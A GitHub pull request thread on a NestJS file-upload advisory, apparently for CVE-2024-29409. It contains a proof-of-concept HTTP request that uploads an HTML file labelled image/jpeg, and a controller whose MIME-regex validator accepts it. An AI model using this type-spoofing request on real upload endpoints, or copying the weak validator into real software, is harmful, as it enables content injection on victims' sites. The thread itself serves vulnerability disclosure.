Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[GHSA-cj7v-w2c7-cp7c] File Upload vulnerability in nestjs nest v.10.3.2 allows... #5368

Open
wants to merge 1 commit into
base: aydinnyunus/advisory-improvement-5368
Choose a base branch
from

Conversation

aydinnyunus
Copy link

Updates

  • Affected products
  • CVSS v3
  • Description
  • Severity
  • Source code location
  • Summary

Comments
Version update
Add CVSS and affected products

@github-actions github-actions bot changed the base branch from main to aydinnyunus/advisory-improvement-5368 March 15, 2025 19:14
@shelbyc
Copy link
Contributor

shelbyc commented Mar 18, 2025

Hi @aydinnyunus, thanks for reaching out to talk about GHSA-cj7v-w2c7-cp7c! I showed this community contribution, https://gist.github.com/aydinnyunus/801342361584d1491c67a820a714f53f, and nestjs/nest#13311 (comment) to a colleague of mine who tried to replicate the findings from the research report.

My colleague wasn't able to reproduce the vulnerability with the Steps to Reproduce from https://gist.github.com/aydinnyunus/801342361584d1491c67a820a714f53f, but there is some potential for a regular expression denial of service. Did you explore the possibility of ReDos when researching NestJS?

Additionally, nestjs/nest#13311 (comment) doesn't say anything about verifying the research report or remediating any issues in file-type.validator.ts. Are kamilmysliwiec and/or the other maintainers of NestJS aware of CVE-2024-29409 or the report from https://gist.github.com/aydinnyunus/801342361584d1491c67a820a714f53f, and have they said anything about CVE-2024-29409 publicly?

@aydinnyunus
Copy link
Author

aydinnyunus commented Mar 19, 2025

Hi @shelbyc,

I updated the PoC. Can you check again ?

POST /upload HTTP/1.1
Host: localhost:3000
User-Agent: curl/8.7.1
Accept: */*
Content-Length: 272
Content-Type: multipart/form-data; boundary=------------------------A7V5gtNRD2195N62afxDmH
Connection: keep-alive

--------------------------A7V5gtNRD2195N62afxDmH
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: image/jpeg

<html>
  <body>
   Example PoC for GHSA-cj7v-w2c7-cp7c
  </body>
</html>

--------------------------A7V5gtNRD2195N62afxDmH--

@Controller('upload')
export class UploadController {
  @Post()
  @UseInterceptors(
    FileInterceptor('file', {
      storage: diskStorage({
        destination: './uploads', // Store uploaded files in the "uploads" directory
        filename: (req: Express.Request, file: Express.Multer.File, cb) => {
          cb(null, `${Date.now()}-${file.originalname}`);
        },
      }),
    }),
  )
  uploadFile(
    @UploadedFile(
      new ParseFilePipe({
        validators: [new FileTypeValidator({ fileType: /image\/(jpeg|png|jpg)/ })],
        exceptionFactory: () => new BadRequestException(['messages.invalid.file.type']),
      })
    ) file: Express.Multer.File
  ) {
    if (!file) {
      throw new BadRequestException('No file uploaded or invalid file type!');
    }
    return { message: 'File uploaded successfully', filename: file.filename };
  }
image
  • I did not exploit the reDOS vulnerability because I think that the routing was controlled by code rather than user input. Therefore, I did not report it.
  • They didn't explicitly mention anything, but there's a comment in the file-type-validator indicating it's vulnerable. Users should be aware of this risk when using the file type validator function. I assume they are not plan to fix it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants